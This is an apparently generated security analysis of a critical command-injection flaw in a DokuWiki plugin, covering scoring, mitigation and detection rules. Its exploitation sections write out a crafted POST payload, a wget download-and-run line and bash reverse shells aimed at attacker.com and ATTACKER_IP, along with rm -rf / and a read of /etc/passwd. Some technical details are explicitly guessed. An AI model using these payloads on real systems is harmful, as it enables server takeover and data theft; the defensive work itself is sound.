Comprehensive Technical Analysis of CVE-2025-51958

CVE ID: CVE-2025-51958 CVSS Score: 9.8 (Critical) Vulnerability Type: Unauthenticated Remote Code Execution (RCE) Affected Software: aelsantex/runcommand plugin for DokuWiki (version 2014-04-01)

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2025-51958 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in the runcommand plugin for DokuWiki. The flaw resides in lib/plugins/runcommand/postaction.php, where improper input validation and lack of authentication checks allow attackers to execute arbitrary system commands on the underlying server.

CVSS v3.1 Scoring Breakdown

Metric	Score	Justification
Attack Vector (AV)	Network (N)	Exploitable remotely over HTTP/HTTPS.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or privileges needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable DokuWiki instance.
Confidentiality (C)	High (H)	Full system compromise possible (arbitrary command execution).
Integrity (I)	High (H)	Attacker can modify files, install malware, or escalate privileges.
Availability (A)	High (H)	Attacker can crash the system or disrupt services.
Base Score	9.8 (Critical)	Aligns with CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity Justification

• Unauthenticated RCE is one of the most severe vulnerability classes, as it allows attackers to gain full control over the affected system without prior access.
• The low attack complexity and network-based exploitability make this a prime target for automated attacks (e.g., botnets, mass exploitation).
• The high impact on confidentiality, integrity, and availability (CIA triad) justifies the Critical rating.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

The vulnerability stems from improper input sanitization in postaction.php, where user-supplied data is passed directly to a system command execution function (likely exec(), system(), or passthru()).

Proof-of-Concept (PoC) Exploitation Steps

1. Identify Target:

   • Attacker scans for DokuWiki instances with the runcommand plugin installed (version 2014-04-01).
   • Example vulnerable endpoint:

     http://<target>/dokuwiki/lib/plugins/runcommand/postaction.php
     

2. Craft Malicious Request:

   • The attacker sends an HTTP POST request with a crafted payload in the cmd parameter (or similar).
   • Example payload (command injection):

     POST /dokuwiki/lib/plugins/runcommand/postaction.php HTTP/1.1
     Host: <target>
     Content-Type: application/x-www-form-urlencoded
     
     cmd=id;uname -a;whoami
     

   • If the plugin directly passes cmd to a shell function, the attacker can chain commands (e.g., ;, &&, |).

3. Execute Arbitrary Commands:

   • Successful exploitation allows the attacker to:
     • Retrieve system information (id, uname -a).
     • Read/write files (cat /etc/passwd, echo "malicious" > /tmp/exploit).
     • Download and execute malware (wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware).
     • Establish reverse shells (bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1').

4. Post-Exploitation:

   • Lateral Movement: If the server is part of a network, the attacker may pivot to other systems.
   • Persistence: Install backdoors (e.g., cron jobs, SSH keys, web shells).
   • Data Exfiltration: Steal sensitive data (database credentials, user files).
   • Denial of Service (DoS): Crash the system (rm -rf /).

Exploitation Tools & Techniques

• Manual Exploitation: Using curl, Burp Suite, or Postman to send crafted requests.
• Automated Exploitation:
  • Metasploit Module: Likely to be developed (e.g., exploit/unix/webapp/dokuwiki_runcommand_rce).
  • Nuclei Templates: Custom YAML templates for mass scanning.
  • Python/Go Exploits: Scripts to automate command execution.

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3. Affected Systems & Software Versions

Vulnerable Software

• Plugin: aelsantex/runcommand (DokuWiki plugin)
• Version: 2014-04-01 (and possibly earlier unpatched versions)
• Platform: DokuWiki (any version where the vulnerable plugin is installed)

Detection Methods

1. Manual Verification:

   • Check for the presence of lib/plugins/runcommand/postaction.php.
   • Verify the plugin version in lib/plugins/runcommand/plugin.info.txt.

2. Automated Scanning:

   • Nmap Script:

     nmap -p 80,443 --script http-dokuwiki-runcommand-detect <target>
     

   • Nuclei:

     nuclei -u http://<target> -t cves/2025/CVE-2025-51958.yaml
     

   • Burp Suite / OWASP ZAP: Look for the vulnerable endpoint in web traffic.

3. Log Analysis:

   • Check web server logs for suspicious POST requests to /lib/plugins/runcommand/postaction.php.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Disable the Plugin:

   • Remove or disable the runcommand plugin immediately.
   • Command:

     rm -rf /path/to/dokuwiki/lib/plugins/runcommand/
     

2. Apply Workarounds:

   • Web Application Firewall (WAF) Rules:
     • Block requests to /lib/plugins/runcommand/postaction.php.
     • Example ModSecurity rule:

       SecRule REQUEST_FILENAME "@contains /lib/plugins/runcommand/postaction.php" "id:1000,deny,status:403,msg:'CVE-2025-51958 Blocked'"
       

   • Network-Level Protections:
     • Restrict access to DokuWiki via IP whitelisting (if feasible).

3. Patch Management:

   • Check for Updates: Monitor DokuWiki and plugin repositories for patches.
   • Vendor Advisory: Follow DokuWiki’s security announcements.

Long-Term Remediation

1. Upgrade the Plugin:

   • If a patched version is released, upgrade immediately.
   • If no patch exists, consider migrating to an alternative plugin.

2. Secure Coding Practices:

   • Input Validation: Sanitize all user inputs before passing them to system commands.
   • Least Privilege: Run DokuWiki under a restricted user (not root).
   • Disable Dangerous Functions: Restrict PHP functions like exec(), system(), passthru() in php.ini.

3. Hardening DokuWiki:

   • Disable Unused Plugins: Remove unnecessary plugins to reduce attack surface.
   • Enable HTTPS: Prevent MITM attacks and credential theft.
   • Regular Audits: Perform security scans (e.g., with lynis, OpenVAS).

4. Incident Response Planning:

   • Isolate Affected Systems: If compromised, disconnect from the network.
   • Forensic Analysis: Check for indicators of compromise (IOCs) such as:
     • Unusual processes (ps aux | grep -i "nc\|bash\|python").
     • Suspicious files (/tmp/, /var/tmp/).
     • Modified cron jobs (crontab -l).
   • Restore from Backups: Ensure clean backups are available.

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5. Impact on the Cybersecurity Landscape

Threat Landscape Implications

1. Mass Exploitation Risk:

   • Given the CVSS 9.8 score and low attack complexity, this vulnerability is highly attractive to:
     • Cybercriminals (ransomware, data theft).
     • State-Sponsored Actors (espionage, APT campaigns).
     • Script Kiddies (automated exploitation tools).

2. Supply Chain & Third-Party Risks:

   • DokuWiki is widely used in enterprise, government, and educational environments.
   • Compromise of a single instance could lead to lateral movement within an organization.

3. Exploit Availability:

   • PoC Exploits: Likely to be published within days/weeks (e.g., on GitHub, Exploit-DB).
   • Metasploit Integration: Expected to be added to the framework, lowering the barrier for attackers.

4. Regulatory & Compliance Impact:

   • GDPR / CCPA: Unauthorized access to sensitive data may result in legal penalties.
   • NIST / ISO 27001: Failure to patch may lead to compliance violations.

Historical Context

• Similar vulnerabilities in DokuWiki plugins (e.g., CVE-2021-41555, CVE-2020-12448) have been exploited in the wild.
• Lessons Learned:
  • Plugin Security: Third-party plugins are a common attack vector.
  • Patch Management: Delayed patching increases exposure.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability exists due to:

1. Lack of Authentication:

   • postaction.php does not verify if the requester is authenticated, allowing unauthenticated access.

2. Command Injection Flaw:

   • User-controlled input (e.g., cmd parameter) is passed directly to a shell execution function without sanitization.
   • Example vulnerable code snippet (hypothetical):

     $cmd = $_POST['cmd'];
     system($cmd); // Directly executes user input
     

3. Insufficient Input Validation:

   • No checks for metacharacters (;, &&, |, `, $()), enabling command chaining.

Exploit Development (For Red Teams)

1. Fuzzing for Vulnerable Parameters:

   • Use ffuf or wfuzz to identify injectable parameters:

     ffuf -u "http://<target>/dokuwiki/lib/plugins/runcommand/postaction.php" -d "FUZZ=id" -w /path/to/wordlist.txt
     

2. Reverse Shell Payload:

   • Example payload for a Bash reverse shell:

     bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
     

   • URL-encoded version:

     cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%27
     

3. Post-Exploitation Enumeration:

   • Once a shell is obtained, run:

     uname -a; id; cat /etc/passwd; ls -la /var/www/
     

Detection & Hunting (For Blue Teams)

1. SIEM Rules (Splunk / ELK):

   • Detect POST requests to /lib/plugins/runcommand/postaction.php:

     index=web_logs sourcetype=access_combined uri_path="/lib/plugins/runcommand/postaction.php" http_method=POST
     

   • Alert on suspicious commands:

     index=web_logs sourcetype=access_combined "cmd=*" | regex cmd=".*(;|\|\||&&|`|\$\().*"
     

2. Endpoint Detection (EDR/XDR):

   • Monitor for unexpected child processes of the web server (e.g., apache, nginx spawning bash, sh, python).
   • Example Sigma rule:

     title: Suspicious Web Server Child Process (CVE-2025-51958)
     description: Detects web server spawning a shell or command execution utility.
     logsource:
       category: process_creation
       product: linux
     detection:
       selection:
         ParentImage|endswith:
           - '/apache2'
           - '/nginx'
           - '/httpd'
         Image|endswith:
           - '/bash'
           - '/sh'
           - '/python'
           - '/perl'
           - '/nc'
       condition: selection
     

3. Network Traffic Analysis:

   • Look for outbound connections from the web server to unexpected IPs (e.g., C2 servers).
   • Example Zeek/Bro rule:

     redef HTTP::default_capture_password = T;
     event http_request(c: connection, method: string, uri: string, version: string) {
       if (uri == "/lib/plugins/runcommand/postaction.php" && method == "POST") {
         NOTICE([$note=HTTP::Suspicious_URI,
                 $msg=fmt("Possible CVE-2025-51958 Exploitation: %s", c$http$uri),
                 $conn=c]);
       }
     }
     

Forensic Artifacts

• Web Server Logs:
  • Apache/Nginx access logs showing POST requests to postaction.php.
• Process Execution Logs:
  • auditd or sysmon logs showing apache spawning bash.
• File System Changes:
  • New files in /tmp/, /var/tmp/, or web directories.
• Network Connections:
  • Unusual outbound connections (e.g., to attacker-controlled IPs).

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Conclusion & Recommendations

Key Takeaways

• CVE-2025-51958 is a Critical RCE vulnerability with high exploitability and severe impact.
• Unauthenticated attackers can gain full control of the affected system.
• Immediate action is required to mitigate the risk (disable plugin, apply WAF rules, monitor for exploitation).

Strategic Recommendations

1. Patch Management:
   • Prioritize patching for all DokuWiki instances with the runcommand plugin.
2. Threat Hunting:
   • Proactively search for signs of exploitation in logs.
3. Defense-in-Depth:
   • Implement WAF rules, network segmentation, and least privilege principles.
4. Security Awareness:
   • Train developers on secure coding practices (input validation, command execution hardening).
5. Incident Response:
   • Prepare for rapid containment in case of exploitation.

Final Note

Given the Critical severity and ease of exploitation, organizations must treat this vulnerability as a top priority. Failure to remediate could result in full system compromise, data breaches, and regulatory penalties.

References:

• MITRE CVE-2025-51958
• DokuWiki Security
• NVD Entry
• Exploit PoC (GitHub Gist)